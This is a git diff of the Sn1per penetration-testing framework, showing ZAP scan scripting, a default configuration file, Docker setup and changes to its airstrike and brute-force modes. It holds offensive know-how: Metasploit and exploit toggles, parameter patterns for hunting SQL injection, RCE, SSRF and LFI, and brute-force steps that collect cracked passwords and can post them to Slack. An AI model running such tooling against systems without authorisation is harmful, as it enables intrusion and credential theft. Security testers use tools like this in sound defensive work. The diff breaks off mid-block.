print('Start Spider scan with user ID: ' + userId +
|
||||
'. Scan ID equals: ' + scanId)
|
||||
# Give the spider a chance to start
|
||||
time.sleep(2)
|
||||
while (int(spider.status(scanId)) < 100):
|
||||
print('Spider progress: ' + spider.status(scanId) + '%')
|
||||
time.sleep(2)
|
||||
print('Spider scan for user ID ' + userId + ' completed')
|
||||
|
||||
if useAjaxSpider:
|
||||
# Prepare Ajax Spider scan
|
||||
pprint('Set forced user mode enabled -> ' +
|
||||
forcedUser.set_forced_user_mode_enabled(boolean=True))
|
||||
pprint('Set user ID: ' + userId + ' for forced user mode -> ' +
|
||||
forcedUser.set_forced_user(contextid=contextId,
|
||||
userid=userId))
|
||||
# Ajax Spider the target URL
|
||||
pprint('Ajax Spider the target with user ID: ' + userId + ' -> ' +
|
||||
ajax.scan(url=target, inscope=None))
|
||||
# Give the Ajax spider a chance to start
|
||||
time.sleep(10)
|
||||
while (ajax.status != 'stopped'):
|
||||
print('Ajax Spider is ' + ajax.status)
|
||||
time.sleep(5)
|
||||
for url in applicationURL:
|
||||
# Ajax Spider every url configured
|
||||
pprint('Ajax Spider the URL: ' + url + ' with user ID: ' +
|
||||
userId + ' -> ' +
|
||||
ajax.scan(url=url, inscope=None))
|
||||
# Give the Ajax spider a chance to start
|
||||
time.sleep(10)
|
||||
while (ajax.status != 'stopped'):
|
||||
print('Ajax Spider is ' + ajax.status)
|
||||
time.sleep(5)
|
||||
pprint('Set forced user mode disabled -> ' +
|
||||
forcedUser.set_forced_user_mode_enabled(boolean=False))
|
||||
print('Ajax Spider scan for user ID ' + userId + ' completed')
|
||||
|
||||
# Launch Active Scan with the configured policy on the target url
|
||||
# and recursively scan every site node
|
||||
scanId = ascan.scan_as_user(url=target, contextid=contextId,
|
||||
userid=userId, recurse=True, scanpolicyname=scanPolicyName,
|
||||
method=None, postdata=True)
|
||||
print('Start Active Scan with user ID: ' + userId +
|
||||
'. Scan ID equals: ' + scanId)
|
||||
# Give the scanner a chance to start
|
||||
time.sleep(2)
|
||||
while (int(ascan.status(scanId)) < 100):
|
||||
print('Active Scan progress: ' + ascan.status(scanId) + '%')
|
||||
time.sleep(2)
|
||||
print('Active Scan for user ID ' + userId + ' completed')
|
||||
|
||||
else:
|
||||
# Spider the target and recursively scan every site node found
|
||||
scanId = spider.scan(url=target, maxchildren=None, recurse=True,
|
||||
contextname=None, subtreeonly=None)
|
||||
print('Scan ID equals ' + scanId)
|
||||
# Give the Spider a chance to start
|
||||
time.sleep(2)
|
||||
while (int(spider.status(scanId)) < 100):
|
||||
print('Spider progress ' + spider.status(scanId) + '%')
|
||||
time.sleep(2)
|
||||
print('Spider scan completed')
|
||||
|
||||
if useAjaxSpider:
|
||||
# Ajax Spider the target URL
|
||||
pprint('Start Ajax Spider -> ' + ajax.scan(url=target, inscope=None))
|
||||
# Give the Ajax spider a chance to start
|
||||
time.sleep(10)
|
||||
while (ajax.status != 'stopped'):
|
||||
print('Ajax Spider is ' + ajax.status)
|
||||
time.sleep(5)
|
||||
for url in applicationURL:
|
||||
# Ajax Spider every url configured
|
||||
pprint('Ajax Spider the URL: ' + url + ' -> ' +
|
||||
ajax.scan(url=url, inscope=None))
|
||||
# Give the Ajax spider a chance to start
|
||||
time.sleep(10)
|
||||
while (ajax.status != 'stopped'):
|
||||
print('Ajax Spider is ' + ajax.status)
|
||||
time.sleep(5)
|
||||
print('Ajax Spider scan completed')
|
||||
|
||||
# Launch Active scan with the configured policy on the target url and
|
||||
# recursively scan every site node
|
||||
scanId = zap.ascan.scan(url=target, recurse=True, inscopeonly=None,
|
||||
scanpolicyname=scanPolicyName, method=None, postdata=True)
|
||||
print('Start Active scan. Scan ID equals ' + scanId)
|
||||
while (int(ascan.status(scanId)) < 100):
|
||||
print('Active Scan progress: ' + ascan.status(scanId) + '%')
|
||||
time.sleep(5)
|
||||
print('Active Scan completed')
|
||||
|
||||
# Give the passive scanner a chance to finish
|
||||
time.sleep(5)
|
||||
|
||||
# If you want to retrieve alerts:
|
||||
## pprint(zap.core.alerts(baseurl=target, start=None, count=None))
|
||||
|
||||
print('HTML report:')
|
||||
pprint(core.htmlreport())
|
||||
|
||||
# To retrieve ZAP report in XML or HTML format
|
||||
print('XML report')
|
||||
pprint(core.xmlreport())
|
||||
|
||||
if shutdownOnceFinished:
|
||||
# Shutdown ZAP once finished
|
||||
pprint('Shutdown ZAP -> ' + core.shutdown())
|
||||
|
||||
sys.stdout.close()
|
||||
5
build.sh
5
build.sh
|
|
@ -1,5 +0,0 @@
|
|||
#!/bin/bash
|
||||
# build script to push to github...
|
||||
git add *
|
||||
git commit -m 'Sn1per by 1N3CrowdShield'
|
||||
git push origin master
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
|
@ -0,0 +1,245 @@
|
|||
INSTALL_DIR="/usr/share/sniper"
|
||||
SNIPER_PRO=$INSTALL_DIR/pro.sh
|
||||
PLUGINS_DIR="$INSTALL_DIR/plugins"
|
||||
|
||||
# COLORS
|
||||
OKBLUE='\033[94m'
|
||||
OKRED='\033[91m'
|
||||
OKGREEN='\033[92m'
|
||||
OKORANGE='\033[93m'
|
||||
RESET='\e[0m'
|
||||
REGEX='^[0-9]+$'
|
||||
|
||||
# DEFAULT SETTINGS
|
||||
AUTO_BRUTE="0"
|
||||
AUTO_VULNSCAN="0"
|
||||
FULLNMAPSCAN="0"
|
||||
OSINT="0"
|
||||
ENABLE_AUTO_UPDATES="1"
|
||||
REPORT="1"
|
||||
LOOT="1"
|
||||
|
||||
# OUT OF SCOPE
|
||||
OUT_OF_SCOPE=("www.sn1persecurity.com" "sn1persecurity.com" "*.sn1persecurity.com")
|
||||
|
||||
# SN1PER PROFESSIONAL SETTINGS
|
||||
SNIPER_PRO_CONSOLE_OUTPUT="0"
|
||||
SN1PER_AUTOLOAD="0"
|
||||
MAX_HOSTS="2000"
|
||||
|
||||
# DEFAULT BROWSER
|
||||
BROWSER="firefox"
|
||||
|
||||
# BURP 2.0 SCANNER CONFIG
|
||||
BURP_HOST="127.0.0.1"
|
||||
BURP_PORT="1338"
|
||||
|
||||
# OPENVAS CONFIG
|
||||
OPENVAS="0"
|
||||
OPENVAS_HOST="127.0.0.1"
|
||||
OPENVAS_PORT="9390"
|
||||
OPENVAS_USERNAME="admin"
|
||||
OPENVAS_PASSWORD=""
|
||||
OPENVAS_RUNAS_USER="kali"
|
||||
|
||||
# NESSUS CONFIG
|
||||
NESSUS="0"
|
||||
NESSUS_HOST="127.0.0.1:8834"
|
||||
NESSUS_USERNAME="admin"
|
||||
NESSUS_PASSWORD=""
|
||||
NESSUS_POLICY_ID="c3cbcd46-329f-a9ed-1077-554f8c2af33d0d44f09d736969bf"
|
||||
|
||||
# METASPLOIT SCANNER CONFIG
|
||||
METASPLOIT_IMPORT="0"
|
||||
MSF_LHOST="127.0.0.1"
|
||||
MSF_LPORT="4444"
|
||||
|
||||
# SHODAN API KEY
|
||||
SHODAN_API_KEY=""
|
||||
|
||||
# CENSYS API KEYS
|
||||
CENSYS_APP_ID=""
|
||||
CENSYS_API_SECRET=""
|
||||
|
||||
# HUNTER.IO API KEY
|
||||
HUNTERIO_KEY=""
|
||||
|
||||
# TOMBA.IO API
|
||||
TOMBAIO_KEY=""
|
||||
TOMBAIO_SECRET=""
|
||||
|
||||
# GITHUB API KEY
|
||||
GITHUB_API_KEY=""
|
||||
|
||||
# SLACK API
|
||||
SLACK_NOTIFICATIONS="0"
|
||||
SLACK_NOTIFICATIONS_THEHARVESTER="0"
|
||||
SLACK_NOTIFICATIONS_EMAIL_SECURITY="0"
|
||||
SLACK_NOTIFICATIONS_DOMAINS_NEW="0"
|
||||
SLACK_NOTIFICATIONS_TAKEOVERS_NEW="0"
|
||||
SLACK_NOTIFICATIONS_SUBOVER_NEW="0"
|
||||
SLACK_NOTIFICATIONS_SUBJACK_NEW="0"
|
||||
SLACK_NOTIFICATIONS_S3_BUCKETS="0"
|
||||
SLACK_NOTIFICATIONS_SUBNETS="0"
|
||||
SLACK_NOTIFICATIONS_DIRSEARCH_NEW="0"
|
||||
SLACK_NOTIFICATIONS_SPIDER_NEW="0"
|
||||
SLACK_NOTIFICATIONS_WHATWEB="0"
|
||||
SLACK_NOTIFICATIONS_NMAP="0"
|
||||
SLACK_NOTIFICATIONS_NMAP_DIFF="0"
|
||||
SLACK_NOTIFICATIONS_BRUTEFORCE="0"
|
||||
SLACK_NOTIFICATIONS_WHOIS="0"
|
||||
SLACK_NOTIFICATIONS_METAGOOFIL="0"
|
||||
SLACK_NOTIFICATIONS_ARACHNI_SCAN="0"
|
||||
SLACK_NOTIFICATIONS_EMAIL_FORMAT="0"
|
||||
|
||||
# ACTIVE WEB BRUTE FORCE STAGES
|
||||
WEB_BRUTE_STEALTHSCAN="1"
|
||||
WEB_BRUTE_COMMONSCAN="1"
|
||||
WEB_BRUTE_FULLSCAN="0"
|
||||
WEB_BRUTE_EXPLOITSCAN="0"
|
||||
WEB_JAVASCRIPT_ANALYSIS="1"
|
||||
MAX_JAVASCRIPT_FILES="25"
|
||||
|
||||
# WEB BRUTE FORCE WORDLISTS
|
||||
WEB_BRUTE_STEALTH="$INSTALL_DIR/wordlists/web-brute-stealth.txt"
|
||||
WEB_BRUTE_COMMON="$INSTALL_DIR/wordlists/web-brute-common.txt"
|
||||
WEB_BRUTE_FULL="$INSTALL_DIR/wordlists/web-brute-full.txt"
|
||||
WEB_BRUTE_EXPLOITS="$INSTALL_DIR/wordlists/web-brute-exploits.txt"
|
||||
WEB_BRUTE_EXTENSIONS="htm,html,asp,aspx,php,jsp,js"
|
||||
WEB_BRUTE_EXCLUDE_CODES="400,403,404,405,406,429,500,502,503,504"
|
||||
|
||||
# GREP PATTERNS
|
||||
STATIC_GREP_SEARCH="1"
|
||||
GREP_MAX_LINES="10"
|
||||
GREP_INTERESTING_SUBDOMAINS="admin|jenkins|test|proxy|stage|test|dev|devops|staff|db|qa|internal"
|
||||
GREP_EXTENSIONS="\.action|\.adr|\.ascx|\.asmx|\.axd|\.backup|\.bak|\.bkf|\.bkp|\.bok|\.achee|\.cfg|\.cfm|\.cgi|\.cnf|\.conf|\.config|\.crt|\.csr|\.csv|\.dat|\.doc|\.docx|\.eml|\.env|\.exe|\.gz|\.ica|\.inf|\.ini|\.java|\.json|\.key|\.log|\.lst|\.mai|\.mbox|\.mbx|\.md|\.mdb|\.nsf|\.old|\.ora|\.pac|\.passwd|\.pcf|\.pdf|\.pem|\.pgp|\.pl| plist|\.pwd|\.rdp|\.reg|\.rtf|\.skr|\.sql|\.swf|\.tpl|\.txt|\.url|\.wml|\.xls|\.xlsx|\.xml|\.xsd|\.yml"
|
||||
GREP_PARAMETERS="template=|preview=|id=|view=|activity=|name=|content=|redirect=|(&|[?])access(&|=)|(&|[?])admin(&|=)|(&|[?])dbg(&|=)|(&|[?])debug(&|=)|(&|[?])edit(&|=)|(&|[?])grant(&|=)|(&|[?])test(&|=)|(&|[?])alter(&|=)|(&|[?])clone(&|=)|(&|[?])create(&|=)|(&|[?])delete(&|=)|(&|[?])disable(&|=)|(&|[?])enable(&|=)|(&|[?])exec(&|=)|(&|[?])execute(&|=)|(&|[?])load(&|=)|(&|[?])make(&|=)|(&|[?])modify(&|=)|(&|[?])rename(&|=)|(&|[?])reset(&|=)|(&|[?])shell(&|=)|(&|[?])toggle(&|=)|(&|[?])adm(&|=)|(&|[?])root(&|=)|(&|[?])cfg(&|=)|(&|[?])dest(&|=)|(&|[?])redirect(&|=)|(&|[?])uri(&|=)|(&|[?])path(&|=)|(&|[?])continue(&|=)|(&|[?])url(&|=)|(&|[?])window(&|=)|(&|[?])next(&|=)|(&|[?])data(&|=)|(&|[?])reference(&|=)|(&|[?])site(&|=)|(&|[?])html(&|=)|(&|[?])val(&|=)|(&|[?])validate(&|=)|(&|[?])domain(&|=)|(&|[?])callback(&|=)|(&|[?])return(&|=)|(&|[?])feed(&|=)|(&|[?])host(&|=)|(&|[?])port(&|=)|(&|[?])to(&|=)|(&|[?])out(&|=)|(&|[?])view(&|=)|(&|[?])dir(&|=)|(&|[?])show(&|=)|(&|[?])navigation(&|=)|(&|[?])open(&|=)|(&|[?])file(&|=)|(&|[?])document(&|=)|(&|[?])folder(&|=)|(&|[?])pg(&|=)|(&|[?])php_path(&|=)|(&|[?])style(&|=)|(&|[?])doc(&|=)|(&|[?])img(&|=)|(&|[?])filename(&|=)|id=|select=|report=|role=|update=|query=|user=|name=|sort=|where=|search=|params=|process=|row=|view=|table=|from=|sel=|results=|sleep=|fetch=|order=|keyword=|column=|field=|delete=|string=|number=|filter=|(&|[?])callback=|(&|[?])cgi-bin/redirect.cgi|(&|[?])checkout=|(&|[?])checkout_url=|(&|[?])continue=|(&|[?])data=|(&|[?])dest=|(&|[?])destination=|(&|[?])dir=|(&|[?])domain=|(&|[?])feed=|(&|[?])file=|(&|[?])file_name=|(&|[?])file_url=|(&|[?])folder=|(&|[?])folder_url=|(&|[?])forward=|(&|[?])from_url=|(&|[?])go=|(&|[?])goto=|(&|[?])host=|(&|[?])html=|(&|[?])image_url=|(&|[?])img_url=|(&|[?])load_file=|(&|[?])load_url=|(&|[?])login_url=|(&|[?])logout=|(&|[?])navigation=|(&|[?])next=|(&|[?])next_page=|(&|[?])Open=|(&|[?])out=|(&|[?])page_url=|(&|[?])path=|(&|[?])port=|(&|[?])redir=|(&|[?])redirect=|(&|[?])redirect_to=|(&|[?])redirect_uri=|(&|[?])redirect_url=|(&|[?])reference=|(&|[?])return=|(&|[?])return_path=|(&|[?])return_to=|(&|[?])returnTo=|(&|[?])return_url=|(&|[?])rt=|(&|[?])rurl=|(&|[?])show=|(&|[?])site=|(&|[?])target=|(&|[?])to=|(&|[?])uri=|(&|[?])url=|(&|[?])val=|(&|[?])validate=|(&|[?])view=|(&|[?])window=|daemon=|upload=|dir=|execute=|download=|log=|ip=|cli=|cmd=|file=|document=|folder=|root=|path=|pg=|style=|pdf=|template=|php_path=|doc=|page=|name=|id=|user=|account=|number=|order=|no=|doc=|key=|email=|group=|profile=|edit=|report=|access=|admin=|dbg=|debug=|edit=|grant=|test=|alter=|clone=|create=|delete=|disable=|enable=|exec=|execute=|load=|make=|modify=|rename=|reset=|shell=|toggle=|adm=|root=|cfg=|config="
|
||||
GREP_XSS="q=|s=|search=|lang=|keyword=|query=|page=|keywords=|year=|view=|email=|type=|name=|p=|callback=|jsonp=|api_key=|api=|password=|email=|emailto=|token=|username=|csrf_token=|unsubscribe_token=|id=|item=|page_id=|month=|immagine=|list_type=|url=|terms=|categoryid=|key=|l=|begindate=|enddate="
|
||||
GREP_SSRF="access|admin|dbg|debug|edit|grant|test|alter|clone|create|delete|disable|enable|exec|execute|load|make|modify|rename|reset|shell|toggle|adm|root|cfg|dest|redirect|uri|path|continue|url|window|next|data|reference|site|html|val|validate|domain|callback|return|page|feed|host|port|to|out|view|dir|show|navigation|open"
|
||||
GREP_REDIRECT="forward=|dest=|redirect=|uri=|path=|continue=|url=|window=|to=|out=|view=|dir=|show=|navigation=|Open=|file=|val=|validate=|domain=|callback=|return=|page=|feed=|host=|port=|next=|data=|reference=|site=|html="
|
||||
GREP_RCE="daemon|upload|dir|execute|download|log|ip|cli|cmd"
|
||||
GREP_IDOR="id|user|account|number|order|no|doc|key|email|group|profile|edit|report"
|
||||
GREP_SQL="id|select|report|role|update|query|user|name|sort|where|search|params|process|row|view|table|from|sel|results|sleep|fetch|order|keyword|column|field|delete|string|number|filter"
|
||||
GREP_LFI="file|document|folder|root|path|pg|style|pdf|template|php_path|doc"
|
||||
GREP_SSTI="template|preview|id|view|activity|name|content|redirect"
|
||||
GREP_DEBUG="access|admin|dbg|debug|edit|grant|test|alter|clone|create|delete|disable|enable|exec|execute|load|make|modify|rename|reset|shell|toggle|adm|root|cfg|config"
|
||||
|
||||
# DOMAIN WORDLISTS
|
||||
DOMAINS_QUICK="$INSTALL_DIR/wordlists/domains-quick.txt"
|
||||
DOMAINS_DEFAULT="$INSTALL_DIR/wordlists/domains-default.txt"
|
||||
# DOMAINS_FULL="$INSTALL_DIR/wordlists/domains-all.txt"
|
||||
|
||||
# DEFAULT USER/PASS WORDLISTS
|
||||
USER_FILE="/usr/share/brutex/wordlists/simple-users.txt"
|
||||
PASS_FILE="/usr/share/brutex/wordlists/password.lst"
|
||||
DNS_FILE="/usr/share/brutex/wordlists/namelist.txt"
|
||||
|
||||
# TOOL DIRECTORIES
|
||||
SAMRDUMP="$INSTALL_DIR/bin/samrdump.py"
|
||||
INURLBR="$INSTALL_DIR/bin/inurlbr.php"
|
||||
|
||||
# FLYOVER MODE TUNING
|
||||
FLYOVER_MAX_HOSTS="5"
|
||||
FLYOVER_DELAY="10"
|
||||
|
||||
# NMAP OPTIONS
|
||||
NMAP_OPTIONS="--script-args http.useragent='' --open"
|
||||
|
||||
# NMAP PORT CONFIGURATIONS
|
||||
QUICK_PORTS="21,22,80,443,8000,8080,8443"
|
||||
DEFAULT_PORTS="10000,1099,110,111,123,135,137,139,1433,1524,161,162,16992,2049,21,2121,2181,22,23,25,264,27017,27018,27019,28017,3128,3306,3310,3389,3632,389,443,4443,445,49152,49180,500,512,513,514,53,5432,5555,5800,5900,5984,623,624,6667,67,68,69,7001,79,80,8000,8001,8080,8180,8443,8888,9200,9495"
|
||||
FULL_PORTSCAN_PORTS="T:1-65535,U:53,U:67,U:68,U:69,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:500,U:520,U:2049"
|
||||
THREADS="100"
|
||||
|
||||
# NETWORK PLUGINS
|
||||
NMAP_SCRIPTS="1"
|
||||
METASPLOIT_EXPLOIT="1"
|
||||
MSF_LEGACY_WEB_EXPLOITS="0"
|
||||
SSH_AUDIT="1"
|
||||
SSH_ENUM="1"
|
||||
LIBSSH_BYPASS="1"
|
||||
SMTP_USER_ENUM="1"
|
||||
FINGER_TOOL="1"
|
||||
SHOW_MOUNT="1"
|
||||
RPC_INFO="1"
|
||||
SMB_ENUM="1"
|
||||
AMAP="0"
|
||||
|
||||
# OSINT PLUGINS
|
||||
WHOIS="1"
|
||||
GOOHAK="1"
|
||||
INURLBR="1"
|
||||
THEHARVESTER="1"
|
||||
METAGOOFIL="1"
|
||||
HUNTERIO="0"
|
||||
TOMBAIO="0"
|
||||
INTODNS="1"
|
||||
EMAILFORMAT="1"
|
||||
ULTRATOOLS="1"
|
||||
URLCRAZY="1"
|
||||
VHOSTS="0"
|
||||
H8MAIL="0"
|
||||
GITHUB_SECRETS="0"
|
||||
URLSCANIO="1"
|
||||
|
||||
# DYNAMIC APPLICATION SCANNERS
|
||||
BURP_SCAN="0"
|
||||
ARACHNI_SCAN="0"
|
||||
ZAP_SCAN="1"
|
||||
|
||||
# ACTIVE WEB PLUGINS
|
||||
SC0PE_VULNERABLITY_SCANNER="1"
|
||||
DIRSEARCH="1"
|
||||
GOBUSTER="0"
|
||||
NIKTO="0"
|
||||
BLACKWIDOW="1"
|
||||
INJECTX="1"
|
||||
CLUSTERD="0"
|
||||
WPSCAN="0"
|
||||
CMSMAP="0"
|
||||
WAFWOOF="1"
|
||||
WHATWEB="1"
|
||||
WIG="0"
|
||||
SHOCKER="0"
|
||||
JEXBOSS="0"
|
||||
WEBTECH="1"
|
||||
SSL_INSECURE="1"
|
||||
HTTP_PROBE="0"
|
||||
SMUGGLER="1"
|
||||
|
||||
# PASSIVE WEB PLUGINS
|
||||
WAYBACKMACHINE="1"
|
||||
SSL="1"
|
||||
PASSIVE_SPIDER="1"
|
||||
GAU="1"
|
||||
HACKERTARGET="1"
|
||||
CUTYCAPT="0"
|
||||
WEBSCREENSHOT="1"
|
||||
|
||||
# EMAIL PLUGINS
|
||||
SPOOF_CHECK="1"
|
||||
|
||||
# RECON PLUGINS
|
||||
SUBHIJACK_CHECK="0"
|
||||
AQUATONE="0"
|
||||
SLURP="0"
|
||||
SUBLIST3R="0"
|
||||
AMASS="0"
|
||||
SUBFINDER="0"
|
||||
DNSCAN="0"
|
||||
CRTSH="1"
|
||||
SUBOVER="0"
|
||||
PROJECT_SONAR="1"
|
||||
CENSYS_SUBDOMAINS="0"
|
||||
SUBNET_RETRIEVAL="1"
|
||||
SUBJACK="0"
|
||||
ALT_DNS="0"
|
||||
MASS_DNS="0"
|
||||
DNSGEN="0"
|
||||
SHODAN="0"
|
||||
ASN_CHECK="1"
|
||||
SPYSE="0"
|
||||
SUBBRUTE_DNS="0"
|
||||
GITHUB_SUBDOMAINS="0"
|
||||
RAPIDDNS="1"
|
||||
SCAN_ALL_DISCOVERED_DOMAINS="0"
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
|
@ -0,0 +1,14 @@
|
|||
version: '3.9'
|
||||
|
||||
x-logging: &default-logging
|
||||
options:
|
||||
max-size: "40m"
|
||||
max-file: "10"
|
||||
driver: json-file
|
||||
|
||||
services:
|
||||
blackarch:
|
||||
container_name: blackarch
|
||||
build:
|
||||
context: .
|
||||
dockerfile: Dockerfile.blackarch
|
||||
|
|
@ -0,0 +1,14 @@
|
|||
version: '3.9'
|
||||
|
||||
x-logging: &default-logging
|
||||
options:
|
||||
max-size: "40m"
|
||||
max-file: "10"
|
||||
driver: json-file
|
||||
|
||||
services:
|
||||
kali-linux:
|
||||
container_name: kali-linux
|
||||
build:
|
||||
context: .
|
||||
dockerfile: Dockerfile
|
||||
992
install.sh
992
install.sh
File diff suppressed because it is too large
Load Diff
|
|
@ -1,29 +1,29 @@
|
|||
# AIRSTRIKE MODE #####################################################################################################
|
||||
if [ "$MODE" = "airstrike" ]; then
|
||||
if [ -z "$FILE" ]; then
|
||||
if [[ "$MODE" = "airstrike" ]]; then
|
||||
if [[ -z "$FILE" ]]; then
|
||||
logo
|
||||
echo "You need to specify a list of targets (ie. -f <targets.txt>) to scan."
|
||||
exit
|
||||
fi
|
||||
if [ "$REPORT" = "1" ]; then
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
for a in `cat $FILE`;
|
||||
do
|
||||
if [ "$AUTOBRUTE" = "1" ]; then
|
||||
if [[ "$AUTO_BRUTE" = "1" ]]; then
|
||||
args="$args -b"
|
||||
fi
|
||||
if [ "$FULLNMAPSCAN" = "1" ]; then
|
||||
if [[ "$FULLNMAPSCAN" = "1" ]]; then
|
||||
args="$args -fp"
|
||||
fi
|
||||
if [ "$OSINT" = "1" ]; then
|
||||
if [[ "$OSINT" = "1" ]]; then
|
||||
args="$args -o"
|
||||
fi
|
||||
if [ "$RECON" = "1" ]; then
|
||||
if [[ "$RECON" = "1" ]]; then
|
||||
args="$args -re"
|
||||
fi
|
||||
if [ ! -z "$WORKSPACE" ]; then
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $WORKSPACE_DIR 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/domains 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/screenshots 2> /dev/null
|
||||
|
|
@ -58,18 +58,28 @@ if [ "$MODE" = "airstrike" ]; then
|
|||
echo -e "$OKRED | ||. | | | ||| |||||"
|
||||
echo -e "$OKRED __________________________________________________________"
|
||||
echo -e "$RESET"
|
||||
if [ ! -z "$WORKSPACE_DIR" ]; then
|
||||
if [[ ! -z "$WORKSPACE_DIR" ]]; then
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
else
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
fi
|
||||
args=""
|
||||
done
|
||||
fi
|
||||
if [ "$LOOT" = "1" ]; then
|
||||
loot
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
if [[ "$LOOT" = "1" ]]; then
|
||||
loot
|
||||
fi
|
||||
exit
|
||||
fi
|
||||
|
|
|
|||
|
|
@ -1,16 +1,34 @@
|
|||
if [ "$AUTOBRUTE" = "0" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED SKIPPING BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
else
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$AUTO_BRUTE" = "1" ]]; then
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_bruteforce.txt 2> /dev/null
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per brute force: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per brute force: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
brutex $TARGET | tee $LOOT_DIR/credentials/brutex-$TARGET 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/credentials/brutex-$TARGET 2> /dev/null > $LOOT_DIR/credentials/brutex-$TARGET.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/credentials/brutex-$TARGET
|
||||
cd $INSTALL_DIR
|
||||
rm -f hydra.restore
|
||||
rm -f scan.log
|
||||
CRACKED=$(egrep -h -i -s password $LOOT_DIR/credentials/brutex-$TARGET.txt 2> /dev/null | grep host 2> /dev/null)
|
||||
if [[ ${#CRACKED} -ge 5 ]]; then
|
||||
echo "$CRACKED" > $LOOT_DIR/output/cracked-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
echo ""
|
||||
rm -f $LOOT_DIR/scans/running_${TARGET}_bruteforce.txt 2> /dev/null
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
|
||||
|
||||
if [[ "$SLACK_NOTIFICATIONS_BRUTEFORCE" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/credentials/brutex-$TARGET.txt"
|
||||
fi
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per brute force: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
